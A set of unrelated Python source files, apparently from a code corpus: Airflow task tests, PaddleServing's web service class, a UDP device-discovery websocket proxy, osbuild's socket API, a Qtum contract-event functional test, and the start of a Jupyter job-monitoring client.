some_templated_field={'foo': '123', 'bar': ['baz', '{{ ds }}']},
dag=self.dag,
)
op.execute = verify_templated_field
self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_template_non_bool(self):
"""
Test templates can handle objects with no sense of truthiness
"""
class NonBoolObject:
def __len__(self):
return NotImplemented
def __bool__(self):
return NotImplemented
op = OperatorSubclass(
task_id='test_bad_template_obj', some_templated_field=NonBoolObject(), dag=self.dag
)
op.resolve_template_files()
def test_task_get_template(self):
TI = TaskInstance
ti = TI(task=self.runme_0, execution_date=DEFAULT_DATE)
ti.dag = self.dag_bash
self.dag_bash.create_dagrun(
run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE
)
ti.run(ignore_ti_state=True)
context = ti.get_template_context()
# DEFAULT DATE is 2015-01-01
assert context['ds'] == '2015-01-01'
assert context['ds_nodash'] == '20150101'
# next_ds is 2015-01-02 as the dag interval is daily
assert context['next_ds'] == '2015-01-02'
assert context['next_ds_nodash'] == '20150102'
# prev_ds is 2014-12-31 as the dag interval is daily
assert context['prev_ds'] == '2014-12-31'
assert context['prev_ds_nodash'] == '20141231'
assert context['ts'] == '2015-01-01T00:00:00+00:00'
assert context['ts_nodash'] == '20150101T000000'
assert context['ts_nodash_with_tz'] == '20150101T000000+0000'
assert context['yesterday_ds'] == '2014-12-31'
assert context['yesterday_ds_nodash'] == '20141231'
assert context['tomorrow_ds'] == '2015-01-02'
assert context['tomorrow_ds_nodash'] == '20150102'
def test_local_task_job(self):
TI = TaskInstance
ti = TI(task=self.runme_0, execution_date=DEFAULT_DATE)
job = LocalTaskJob(task_instance=ti, ignore_ti_state=True)
job.run()
def test_raw_job(self):
TI = TaskInstance
ti = TI(task=self.runme_0, execution_date=DEFAULT_DATE)
ti.dag = self.dag_bash
self.dag_bash.create_dagrun(
run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE
)
ti.run(ignore_ti_state=True)
def test_bad_trigger_rule(self):
with pytest.raises(AirflowException):
DummyOperator(task_id='test_bad_trigger', trigger_rule="non_existent", dag=self.dag)
def test_terminate_task(self):
"""If a task instance's db state get deleted, it should fail"""
from airflow.executors.sequential_executor import SequentialExecutor
TI = TaskInstance
dag = self.dagbag.dags.get('test_utils')
task = dag.task_dict.get('sleeps_forever')
ti = TI(task=task, execution_date=DEFAULT_DATE)
job = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor())
# Running task instance asynchronously
proc = multiprocessing.Process(target=job.run)
proc.start()
sleep(5)
settings.engine.dispose()
session = settings.Session()
ti.refresh_from_db(session=session)
# making sure it's actually running
assert State.RUNNING == ti.state
ti = (
session.query(TI)
.filter_by(dag_id=task.dag_id, task_id=task.task_id, execution_date=DEFAULT_DATE)
.one()
)
# deleting the instance should result in a failure
session.delete(ti)
session.commit()
# waiting for the async task to finish
proc.join()
# making sure that the task ended up as failed
ti.refresh_from_db(session=session)
assert State.FAILED == ti.state
session.close()
def test_task_fail_duration(self):
"""If a task fails, the duration should be recorded in TaskFail"""
op1 = BashOperator(task_id='pass_sleepy', bash_command='sleep 3', dag=self.dag)
op2 = BashOperator(
task_id='fail_sleepy',
bash_command='sleep 5',
execution_timeout=timedelta(seconds=3),
retry_delay=timedelta(seconds=0),
dag=self.dag,
)
session = settings.Session()
try:
op1.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
except Exception:
pass
try:
op2.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
except Exception:
pass
op1_fails = (
session.query(TaskFail)
.filter_by(task_id='pass_sleepy', dag_id=self.dag.dag_id, execution_date=DEFAULT_DATE)
.all()
)
op2_fails = (
session.query(TaskFail)
.filter_by(task_id='fail_sleepy', dag_id=self.dag.dag_id, execution_date=DEFAULT_DATE)
.all()
)
assert 0 == len(op1_fails)
assert 1 == len(op2_fails)
assert sum(f.duration for f in op2_fails) >= 3
def test_externally_triggered_dagrun(self):
TI = TaskInstance
# Create the dagrun between two "scheduled" execution dates of the DAG
execution_date = DEFAULT_DATE + timedelta(days=2)
execution_ds = execution_date.strftime('%Y-%m-%d')
execution_ds_nodash = execution_ds.replace('-', '')
dag = DAG(
TEST_DAG_ID, default_args=self.args, schedule_interval=timedelta(weeks=1), start_date=DEFAULT_DATE
)
task = DummyOperator(task_id='test_externally_triggered_dag_context', dag=dag)
dag.create_dagrun(
run_type=DagRunType.SCHEDULED,
execution_date=execution_date,
state=State.RUNNING,
external_trigger=True,
)
task.run(start_date=execution_date, end_date=execution_date)
ti = TI(task=task, execution_date=execution_date)
context = ti.get_template_context()
# next_ds/prev_ds should be the execution date for manually triggered runs
assert context['next_ds'] == execution_ds
assert context['next_ds_nodash'] == execution_ds_nodash
assert context['prev_ds'] == execution_ds
assert context['prev_ds_nodash'] == execution_ds_nodash
def test_dag_params_and_task_params(self):
# This test case guards how params of DAG and Operator work together.
# - If any key exists in either DAG's or Operator's params,
# it is guaranteed to be available eventually.
# - If any key exists in both DAG's params and Operator's params,
# the latter has precedence.
TI = TaskInstance
dag = DAG(
TEST_DAG_ID,
default_args=self.args,
schedule_interval=timedelta(weeks=1),
start_date=DEFAULT_DATE,
params={'key_1': 'value_1', 'key_2': 'value_2_old'},
)
task1 = DummyOperator(
task_id='task1',
dag=dag,
params={'key_2': 'value_2_new', 'key_3': 'value_3'},
)
task2 = DummyOperator(task_id='task2', dag=dag)
dag.create_dagrun(
run_type=DagRunType.SCHEDULED,
execution_date=DEFAULT_DATE,
state=State.RUNNING,
external_trigger=True,
)
task1.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
task2.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
ti1 = TI(task=task1, execution_date=DEFAULT_DATE)
ti2 = TI(task=task2, execution_date=DEFAULT_DATE)
context1 = ti1.get_template_context()
context2 = ti2.get_template_context()
assert context1['params'] == {'key_1': 'value_1', 'key_2': 'value_2_new', 'key_3': 'value_3'}
assert context2['params'] == {'key_1': 'value_1', 'key_2': 'value_2_old'}
@pytest.fixture()
def dag():
return DAG(TEST_DAG_ID, default_args={'owner': 'airflow', 'start_date': DEFAULT_DATE})
def test_operator_retries_invalid(dag):
with pytest.raises(AirflowException) as ctx:
BashOperator(
task_id='test_illegal_args',
bash_command='echo success',
dag=dag,
retries='foo',
)
assert str(ctx.value) == "'retries' type must be int, not str"
def test_operator_retries_coerce(caplog, dag):
with caplog.at_level(logging.WARNING):
BashOperator(
task_id='test_illegal_args',
bash_command='echo success',
dag=dag,
retries='1',
)
assert caplog.record_tuples == [
(
"airflow.operators.bash.BashOperator",
logging.WARNING,
"Implicitly converting 'retries' for <Task(BashOperator): test_illegal_args> from '1' to int",
),
]
@pytest.mark.parametrize("retries", [None, 5])
def test_operator_retries(caplog, dag, retries):
with caplog.at_level(logging.WARNING):
BashOperator(
task_id='test_illegal_args',
bash_command='echo success',
dag=dag,
retries=retries,
)
assert caplog.records == []
|
web_service.py
|
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#!flask/bin/python
# pylint: disable=doc-string-missing
# Now, this is only for Pipeline.
from flask import Flask, request, abort
from contextlib import closing
from multiprocessing import Pool, Process, Queue
from paddle_serving_client import Client
from paddle_serving_server import OpMaker, OpSeqMaker, Server
from paddle_serving_server.serve import start_multi_card
import socket
import sys
import numpy as np
import os
from paddle_serving_server import pipeline
from paddle_serving_server.pipeline import Op
from paddle_serving_server.serve import format_gpu_to_strlist
def port_is_available(port):
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:
sock.settimeout(2)
result = sock.connect_ex(('127.0.0.1', port))
if result != 0:
return True
else:
return False
class WebService(object):
def __init__(self, name="default_service"):
self.name = name
# pipeline
self._server = pipeline.PipelineServer(self.name)
self.gpus = ["-1"] # deprecated
self.rpc_service_list = [] # deprecated
def get_pipeline_response(self, read_op):
return None
def prepare_pipeline_config(self, yaml_file):
# build dag
read_op = pipeline.RequestOp()
last_op = self.get_pipeline_response(read_op)
if not isinstance(last_op, Op):
raise ValueError("The return value type of `get_pipeline_response` "
"function is not Op type, please check function "
"`get_pipeline_response`.")
response_op = pipeline.ResponseOp(input_ops=[last_op])
self._server.set_response_op(response_op)
self._server.prepare_server(yaml_file)
def run_service(self):
self._server.run_server()
def load_model_config(self,
server_config_dir_paths,
client_config_path=None):
if isinstance(server_config_dir_paths, str):
server_config_dir_paths = [server_config_dir_paths]
elif isinstance(server_config_dir_paths, list):
pass
for single_model_config in server_config_dir_paths:
if os.path.isdir(single_model_config):
pass
elif os.path.isfile(single_model_config):
raise ValueError(
"The input of --model should be a dir not file.")
self.server_config_dir_paths = server_config_dir_paths
from .proto import general_model_config_pb2 as m_config
import google.protobuf.text_format
file_path_list = []
for single_model_config in self.server_config_dir_paths:
file_path_list.append("{}/serving_server_conf.prototxt".format(
single_model_config))
model_conf = m_config.GeneralModelConfig()
f = open(file_path_list[0], 'r')
model_conf = google.protobuf.text_format.Merge(
str(f.read()), model_conf)
self.feed_vars = {var.alias_name: var for var in model_conf.feed_var}
if len(file_path_list) > 1:
model_conf = m_config.GeneralModelConfig()
f = open(file_path_list[-1], 'r')
model_conf = google.protobuf.text_format.Merge(
str(f.read()), model_conf)
self.fetch_vars = {var.alias_name: var for var in model_conf.fetch_var}
if client_config_path == None:
self.client_config_path = file_path_list
# after this function, self.gpus should be a list of str or [].
def set_gpus(self, gpus):
print("This API will be deprecated later. Please do not use it")
self.gpus = format_gpu_to_strlist(gpus)
# this function can be called by user
# or by Function create_rpc_config
# if by user, user can set_gpus or pass the `gpus`
# if `gpus` == None, which means it`s not set at all.
# at this time, we should use self.gpus instead.
# otherwise, we should use the `gpus` first.
# which means if set_gpus and `gpus` is both set.
# `gpus` will be used.
def default_rpc_service(self,
workdir,
port=9292,
gpus=None,
thread_num=4,
mem_optim=True,
use_lite=False,
use_xpu=False,
ir_optim=False,
precision="fp32",
use_calib=False,
use_trt=False,
gpu_multi_stream=False,
op_num=None,
op_max_batch=None):
device = "cpu"
server = Server()
# only when `gpus == None`, which means it`s not set at all
# we will use the self.gpus.
if gpus == None:
gpus = self.gpus
gpus = format_gpu_to_strlist(gpus)
server.set_gpuid(gpus)
if len(gpus) == 0 or gpus == ["-1"]:
if use_lite:
device = "arm"
else:
device = "cpu"
else:
device = "gpu"
op_maker = OpMaker()
op_seq_maker = OpSeqMaker()
read_op = op_maker.create('general_reader')
op_seq_maker.add_op(read_op)
for idx, single_model in enumerate(self.server_config_dir_paths):
infer_op_name = "general_infer"
if len(self.server_config_dir_paths) == 2 and idx == 0:
infer_op_name = "general_detection"
else:
infer_op_name = "general_infer"
general_infer_op = op_maker.create(infer_op_name)
op_seq_maker.add_op(general_infer_op)
general_response_op = op_maker.create('general_response')
op_seq_maker.add_op(general_response_op)
server.set_op_sequence(op_seq_maker.get_op_sequence())
server.set_num_threads(thread_num)
server.set_memory_optimize(mem_optim)
server.set_ir_optimize(ir_optim)
server.set_device(device)
server.set_precision(precision)
server.set_use_calib(use_calib)
if use_trt and device == "gpu":
server.set_trt()
server.set_ir_optimize(True)
if gpu_multi_stream and device == "gpu":
server.set_gpu_multi_stream()
if op_num:
server.set_op_num(op_num)
if op_max_batch:
server.set_op_max_batch(op_max_batch)
if use_lite:
server.set_lite()
if use_xpu:
server.set_xpu()
server.load_model_config(self.server_config_dir_paths
) #brpc Server support server_config_dir_paths
server.prepare_server(workdir=workdir, port=port, device=device)
return server
def _launch_rpc_service(self, service_idx):
self.rpc_service_list[service_idx].run_server()
# if use this function, self.gpus must be set before.
# if not, we will use the default value, self.gpus = ["-1"].
# so we always pass the `gpus` = self.gpus.
def create_rpc_config(self):
self.rpc_service_list.append(
self.default_rpc_service(
self.workdir,
self.port_list[0],
self.gpus,
thread_num=self.thread_num,
mem_optim=self.mem_optim,
use_lite=self.use_lite,
use_xpu=self.use_xpu,
ir_optim=self.ir_optim,
precision=self.precision,
use_calib=self.use_calib,
use_trt=self.use_trt,
gpu_multi_stream=self.gpu_multi_stream,
op_num=self.op_num,
op_max_batch=self.op_max_batch))
def prepare_server(self,
workdir,
port=9393,
device="cpu",
precision="fp32",
use_calib=False,
use_lite=False,
use_xpu=False,
ir_optim=False,
thread_num=4,
mem_optim=True,
use_trt=False,
gpu_multi_stream=False,
op_num=None,
op_max_batch=None,
gpuid=None):
print("This API will be deprecated later. Please do not use it")
self.workdir = workdir
self.port = port
self.thread_num = thread_num
# self.device is not used at all.
# device is set by gpuid.
self.precision = precision
self.use_calib = use_calib
self.use_lite = use_lite
self.use_xpu = use_xpu
self.ir_optim = ir_optim
self.mem_optim = mem_optim
self.port_list = []
self.use_trt = use_trt
self.gpu_multi_stream = gpu_multi_stream
self.op_num = op_num
self.op_max_batch = op_max_batch
# if gpuid != None, we will use gpuid first.
# otherwise, keep the self.gpus unchanged.
# maybe self.gpus is set by the Function set_gpus.
if gpuid != None:
self.gpus = format_gpu_to_strlist(gpuid)
else:
pass
default_port = 12000
for i in range(1000):
if port_is_available(default_port + i):
self.port_list.append(default_port + i)
break
def _launch_web_service(self):
self.client = Client()
self.client.load_client_config(self.client_config_path)
endpoints = ""
endpoints = "127.0.0.1:{}".format(self.port_list[0])
self.client.connect([endpoints])
def get_prediction(self, request):
if not request.json:
abort(400)
if "fetch" not in request.json:
abort(400)
try:
feed, fetch, is_batch = self.preprocess(request.json["feed"],
request.json["fetch"])
if isinstance(feed, dict) and "fetch" in feed:
del feed["fetch"]
if len(feed) == 0:
raise ValueError("empty input")
fetch_map = self.client.predict(
feed=feed, fetch=fetch, batch=is_batch)
result = self.postprocess(
feed=request.json["feed"], fetch=fetch, fetch_map=fetch_map)
result = {"result": result}
except ValueError as err:
result = {"result": str(err)}
return result
def run_rpc_service(self):
print("This API will be deprecated later. Please do not use it")
import socket
localIP = socket.gethostbyname(socket.gethostname())
print("web service address:")
print("http://{}:{}/{}/prediction".format(localIP, self.port,
self.name))
server_pros = []
self.create_rpc_config()
for i, service in enumerate(self.rpc_service_list):
p = Process(target=self._launch_rpc_service, args=(i, ))
server_pros.append(p)
for p in server_pros:
p.start()
app_instance = Flask(__name__)
@app_instance.before_first_request
def init():
self._launch_web_service()
service_name = "/" + self.name + "/prediction"
@app_instance.route(service_name, methods=["POST"])
def run():
return self.get_prediction(request)
self.app_instance = app_instance
# TODO: maybe change another API name: maybe run_local_predictor?
def run_debugger_service(self, gpu=False):
print("This API will be deprecated later. Please do not use it")
import socket
localIP = socket.gethostbyname(socket.gethostname())
print("web service address:")
print("http://{}:{}/{}/prediction".format(localIP, self.port,
self.name))
app_instance = Flask(__name__)
@app_instance.before_first_request
def init():
self._launch_local_predictor(gpu)
service_name = "/" + self.name + "/prediction"
@app_instance.route(service_name, methods=["POST"])
def run():
return self.get_prediction(request)
self.app_instance = app_instance
def _launch_local_predictor(self, gpu):
# actually, LocalPredictor is like a server, but it is WebService Request initiator
# for WebService it is a Client.
# local_predictor only support single-Model DirPath - Type:str
# so the input must be self.server_config_dir_paths[0]
from paddle_serving_app.local_predict import LocalPredictor
self.client = LocalPredictor()
if gpu:
# if user forget to call function `set_gpus` to set self.gpus.
# default self.gpus = [0].
if len(self.gpus) == 0 or self.gpus == ["-1"]:
self.gpus = ["0"]
# right now, local Predictor only support 1 card.
# no matter how many gpu_id is in gpus, we only use the first one.
gpu_id = (self.gpus[0].split(","))[0]
self.client.load_model_config(
self.server_config_dir_paths[0], use_gpu=True, gpu_id=gpu_id)
else:
self.client.load_model_config(
self.server_config_dir_paths[0], use_gpu=False)
def run_web_service(self):
print("This API will be deprecated later. Please do not use it")
self.app_instance.run(host="0.0.0.0", port=self.port, threaded=True)
def get_app_instance(self):
return self.app_instance
def preprocess(self, feed=[], fetch=[]):
print("This API will be deprecated later. Please do not use it")
is_batch = True
feed_dict = {}
for var_name in self.feed_vars.keys():
feed_dict[var_name] = []
for feed_ins in feed:
for key in feed_ins:
feed_dict[key].append(
np.array(feed_ins[key]).reshape(
list(self.feed_vars[key].shape))[np.newaxis, :])
feed = {}
for key in feed_dict:
feed[key] = np.concatenate(feed_dict[key], axis=0)
return feed, fetch, is_batch
def postprocess(self, feed=[], fetch=[], fetch_map=None):
print("This API will be deprecated later. Please do not use it")
for key in fetch_map:
fetch_map[key] = fetch_map[key].tolist()
return fetch_map
|
main.py
|
#!/usr/bin/env python2
import socket
import time
import json
import sys
import argparse
import webbrowser
import threading
import io
from websocket_server import WebsocketServer
BROADCAST_PORT = 42424
WEB_PORT = 9000
DISCOVER_SLEEP = 0.2
def discover(owner):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.settimeout(DISCOVER_SLEEP)
sock.bind(('', BROADCAST_PORT))
devices = {}
print("Looking for devices....\n")
for i in range(int(5.0/DISCOVER_SLEEP)):
while True:
try:
sock.sendto('{"c":"discover"}'.encode("utf-8"), ("255.255.255.255", BROADCAST_PORT))
break
except io.BlockingIOError:
continue
except socket.error as e:
if str(e).find("11") == -1:
raise e
time.sleep(DISCOVER_SLEEP)
while True:
try:
msg, addr = sock.recvfrom(65535)
if addr in devices:
continue
msg = json.loads(msg)
if msg["c"] != "found":
continue
if msg["owner"] != owner and owner != "null":
continue
#print("%d: %s (%s) -- %s" % (len(devices), msg["name"], msg["owner"], addr[0]))
devices[addr] = msg
if owner != "null":
return (addr[0], "http://%s:%d%s" % (addr[0], msg.get("port", 80), msg.get("path", "/index.html")))
except io.BlockingIOError:
break
except socket.timeout:
break
except socket.error as e:
if str(e).find("11") == -1:
raise e
break
sock.close()
if len(devices) == 0:
print("No devices found!")
sys.exit(1)
while True:
devidx = input("Pick one device number [0-%d]: " % (len(devices)-1))
try:
devidx = int(devidx)
if devidx >= 0 and devidx < len(devices):
break
except ValueError:
pass
addr = list(devices.keys())[devidx]
dev = devices[addr]
return (addr[0], "http://%s:%d%s" % (addr[0], dev.get("port", 80), dev.get("path", "/index.html")))
class RBSocket:
def __init__(self, dest_ip, server):
self.dest_ip = dest_ip
self.server = server
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if sys.platform.startswith("linux"):
self.sock.setsockopt(socket.SOL_SOCKET, 12, 6)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1)
self.sock.bind(('', 0))
self.write_counter = 0
self.read_counter = 0
def send(self, msg):
msg["n"] = self.write_counter
self.write_counter += 1
msg = json.dumps(msg)
print(msg)
try:
self.sock.sendto(msg.encode("utf-8"), (self.dest_ip, BROADCAST_PORT))
except Exception as e:
print(e)
def process(self):
while True:
try:
msg, addr = self.sock.recvfrom(65535)
except Exception as e:
print(e)
time.sleep(0.1)
continue
try:
msg = msg.decode("utf-8").replace("\n", "\\n")
msg = json.loads(msg)
#print(msg)
if "n" in msg:
diff = self.read_counter - msg["n"]
if diff > 0 and diff < 300:
continue
self.read_counter = msg["n"]
self.server.send_message_to_all(json.dumps(msg))
except Exception as e:
print(e, msg)
def wsOnMessage(self, client, server, msg):
self.send(json.loads(msg))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Mickoflus proxy')
parser.add_argument("owner", type=str, help="The name of the owner")
parser.add_argument("--ip", type=str, default="",
help="An IP to connect to instead of searching for devices.")
parser.add_argument("--port", type=int, default=80, help="The port to use.")
parser.add_argument("--path", type=str, default="/index.html", help="Path to the control page.")
parser.add_argument("-pp", type=int, default=9000, help="port of the websocket proxy")
#parser.add_argument("-ph", type=str, default="0.0.0.0", help="hostname for the websocket proxy")
args = parser.parse_args()
if args.ip:
addr = "http://%s:%d%s" % (args.ip, args.port, args.path)
device_ip = args.ip
else:
device_ip, addr = discover(args.owner)
print("Using %s as device address" % device_ip)
webbrowser.open(addr)
server = WebsocketServer(args.pp)
rbsocket = RBSocket(device_ip, server)
server.set_fn_message_received(rbsocket.wsOnMessage)
th = threading.Thread(target=rbsocket.process)
th.daemon = True
th.start()
server.run_forever()
|
api.py
|
import abc
import asyncio
import io
import json
import os
import sys
import tempfile
import threading
from typing import Dict, Optional
from .util.types import PathLike
from .util import jsoncomm
__all__ = [
"API"
]
class BaseAPI(abc.ABC):
"""Base class for all API providers
This base class provides the basic scaffolding for setting
up API endpoints, normally to be used for bi-directional
communication from and to the sandbox. It is to be used as
a context manger. The communication channel will only be
established on entering the context and will be shut down
when the context is left.
New messages are delivered via the `_message` method, that
needs to be implemented by deriving classes.
Optionally, the `_cleanup` method can be implemented, to
clean up resources after the context is left and the
communication channel shut down.
On incoming messages, first the `_dispatch` method will be
called; the default implementation will receive the message
call `_message.`
"""
def __init__(self, socket_address: Optional[PathLike] = None):
self.socket_address = socket_address
self.barrier = threading.Barrier(2)
self.event_loop = None
self.thread = None
self._socketdir = None
@property
@classmethod
@abc.abstractmethod
def endpoint(cls):
"""The name of the API endpoint"""
@abc.abstractmethod
def _message(self, msg: Dict, fds: jsoncomm.FdSet, sock: jsoncomm.Socket):
"""Called for a new incoming message
The file descriptor set `fds` will be closed after the call.
Use the `FdSet.steal()` method to extract file descriptors.
"""
def _cleanup(self):
"""Called after the event loop is shut down"""
@classmethod
def _make_socket_dir(cls):
"""Called to create the temporary socket dir"""
return tempfile.TemporaryDirectory(prefix="api-", dir="/run/osbuild")
def _dispatch(self, sock: jsoncomm.Socket):
"""Called when data is available on the socket"""
msg, fds, _ = sock.recv()
if msg is None:
# Peer closed the connection
self.event_loop.remove_reader(sock)
return
self._message(msg, fds, sock)
fds.close()
def _accept(self, server):
client = server.accept()
if client:
self.event_loop.add_reader(client, self._dispatch, client)
def _run_event_loop(self):
with jsoncomm.Socket.new_server(self.socket_address) as server:
server.blocking = False
server.listen()
self.barrier.wait()
self.event_loop.add_reader(server, self._accept, server)
asyncio.set_event_loop(self.event_loop)
self.event_loop.run_forever()
self.event_loop.remove_reader(server)
def __enter__(self):
# We are not re-entrant, so complain if re-entered.
assert self.event_loop is None
if not self.socket_address:
self._socketdir = self._make_socket_dir()
address = os.path.join(self._socketdir.name, self.endpoint)
self.socket_address = address
self.event_loop = asyncio.new_event_loop()
self.thread = threading.Thread(target=self._run_event_loop)
self.barrier.reset()
self.thread.start()
self.barrier.wait()
return self
def __exit__(self, *args):
self.event_loop.call_soon_threadsafe(self.event_loop.stop)
self.thread.join()
self.event_loop.close()
# Give deriving classes a chance to clean themselves up
self._cleanup()
self.thread = None
self.event_loop = None
if self._socketdir:
self._socketdir.cleanup()
self._socketdir = None
self.socket_address = None
class API(BaseAPI):
"""The main OSBuild API"""
endpoint = "osbuild"
def __init__(self, args, monitor, *, socket_address=None):
super().__init__(socket_address)
self.input = args
self._output_data = io.StringIO()
self._output_pipe = None
self.monitor = monitor
@property
def output(self):
return self._output_data.getvalue()
def _prepare_input(self):
with tempfile.TemporaryFile() as fd:
fd.write(json.dumps(self.input).encode('utf-8'))
# re-open the file to get a read-only file descriptor
return open(f"/proc/self/fd/{fd.fileno()}", "r")
def _prepare_output(self):
r, w = os.pipe()
self._output_pipe = r
self._output_data.truncate(0)
self._output_data.seek(0)
self.event_loop.add_reader(r, self._output_ready)
return os.fdopen(w)
def _output_ready(self):
raw = os.read(self._output_pipe, 4096)
data = raw.decode("utf-8")
self._output_data.write(data)
self.monitor.log(data)
def _setup_stdio(self, server):
with self._prepare_input() as stdin, \
self._prepare_output() as stdout:
msg = {}
fds = []
fds.append(stdin.fileno())
msg['stdin'] = 0
fds.append(stdout.fileno())
msg['stdout'] = 1
fds.append(stdout.fileno())
msg['stderr'] = 2
server.send(msg, fds=fds)
def _message(self, msg, fds, sock):
if msg["method"] == 'setup-stdio':
self._setup_stdio(sock)
def _cleanup(self):
if self._output_pipe:
os.close(self._output_pipe)
self._output_pipe = None
def setup_stdio(path="/run/osbuild/api/osbuild"):
"""Replace standard i/o with the ones provided by the API"""
with jsoncomm.Socket.new_client(path) as client:
req = {"method": "setup-stdio"}
client.send(req)
msg, fds, _ = client.recv()
for sio in ["stdin", "stdout", "stderr"]:
target = getattr(sys, sio)
source = fds[msg[sio]]
os.dup2(source, target.fileno())
fds.close()
|
credit_transaction_receipt_origin_contract_address.py
|
#!/usr/bin/env python3
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
from test_framework.script import *
from test_framework.mininode import *
from test_framework.address import *
import threading
def waitforlogs(node, contract_address):
logs = node.cli.waitforlogs(node.cli.getblockcount()-1, COINBASE_MATURITY+500, '{"addresses": ["'+contract_address+'"]}')
node.result = logs
class CreditTransactionReceiptOriginContractAddressTest(BitcoinTestFramework):
def set_test_params(self):
self.setup_clean_chain = True
self.num_nodes = 1
self.extra_args = [['-logevents', '-txindex']]
def skip_test_if_missing_module(self):
self.skip_if_no_wallet()
def run_test(self):
self.node = self.nodes[0]
self.nodes[0].generate(10 + COINBASE_MATURITY)
"""
pragma solidity ^0.5.2;
contract Test {
event TestEvent();
address private child;
function setChildContract(address childContractAddress) external {
child = childContractAddress;
}
function doEvent() external {
if(child == address(0x0)) {
emit TestEvent();
} else {
Test(child).doEvent();
}
}
function getChildAddress() public view returns(address) {
return child;
}
}
"""
"""
Function signatures:
afd67ce7: doEvent()
bcb1c3a9: getChildAddress()
f8d86e18: setChildContract(address)
"""
# Set up a chain of 10 contracts that reference their child contract. I.e. the tenth contract is the leaf
contracts = []
contract_bytecode = "608060405234801561001057600080fd5b506102b8806100206000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063afd67ce714610063578063bcb1c3a91461006d578063f8d86e18146100b7575b600080fd5b61006b6100fb565b005b610075610220565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f9600480360360208110156100cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610249565b005b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610182577f24ec1d3ff24c2f6ff210738839dbc339cd45a5294d85c79361016243157aae7b60405160405180910390a161021e565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663afd67ce76040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561020757600080fd5b5060325a03f115801561021957600080fd5b505050505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea165627a7a723058203cf61a18e40f6e2bd01b2f7bd607c6e6aff032f12bd5e3eca68212d2e2c80dbf0029"
for i in range(10):
contracts.append(self.nodes[0].createcontract(contract_bytecode)['address'])
self.node.generate(1)
if len(contracts) > 1:
self.node.sendtocontract(contracts[-2], "f8d86e18" + (contracts[-1].zfill(64)), 0, 1000000)
self.node.generate(1)
# Run the doEvent function recursively starting at the root contract and make sure that no event entries is in the returndata for waitforlogs for the first 9 contracts
for contract_address in contracts[:-1]:
thread = threading.Thread(target=waitforlogs, args=(self.node, contract_address))
thread.start()
txid = self.node.sendtocontract(contracts[0], "afd67ce7", 0, 1000000)['txid']
self.node.generate(7)
thread.join()
receipt = self.node.gettransactionreceipt(txid)
assert_equal(receipt[0]['log'][0]['address'], contracts[-1])
assert_equal(len(self.node.result['entries']), 0)
# Do the same thing again but make sure that the event triggers for the "leaf" (10th) contract
thread = threading.Thread(target=waitforlogs, args=(self.node, contracts[-1]))
thread.start()
txid = self.node.sendtocontract(contracts[0], "afd67ce7", 0, 1000000)['txid']
self.node.generate(7)
thread.join()
receipt = self.node.gettransactionreceipt(txid)
assert_equal(receipt[0]['log'][0]['address'], contracts[-1])
assert_equal(len(self.node.result['entries']), 1)
if __name__ == '__main__':
CreditTransactionReceiptOriginContractAddressTest().main()
|
exec.py
|
import json
import urllib.error
import urllib.request
from typing import Dict, List, Any, Optional, Union
from IPython.display import display
import threading
import time
import ipywidgets
URL_BASE = "http://localhost:9090/"
JOB_EXECUTE_URL = URL_BASE + "jobs/execute?duration={duration}"
JOB_LIST_URL = URL_BASE + "jobs/list"
JOB_STATUS_URL = URL_BASE + "jobs/{job_id}"
JOB_CANCEL_URL = URL_BASE + "jobs/cancel/{job_id}"
JOB_RESULTS_URL = URL_BASE + "jobs/results/{job_id}"
RESULT_URL = URL_BASE + "result/{job_id}?parameter={parameter}"
RESULT_OPEN_URL = URL_BASE + "/results/open/{id})"
def exec_ui():
_interact = ipywidgets.interact.options(manual=True, manual_name="Execute Job")
_interact(Job.execute_job,
duration=ipywidgets.IntSlider(min=10, max=1000, step=10, value=60))
def job_monitor():
header_box = ipywidgets.HBox([ipywidgets.Label('Job ID'), ipywidgets.Label('Duration'),
ipywidgets.Label('Progress'), ipywidgets.Label('Status')])
boxes = [header_box]
job_status_list = Job.get_all().get_as_dict_list()
progress_bars = []
status_labels = []
for job_status_dict in job_status_list:
progress = ipywidgets.FloatProgress(value=job_status_dict["progress"], min=0.0, max=1.0)
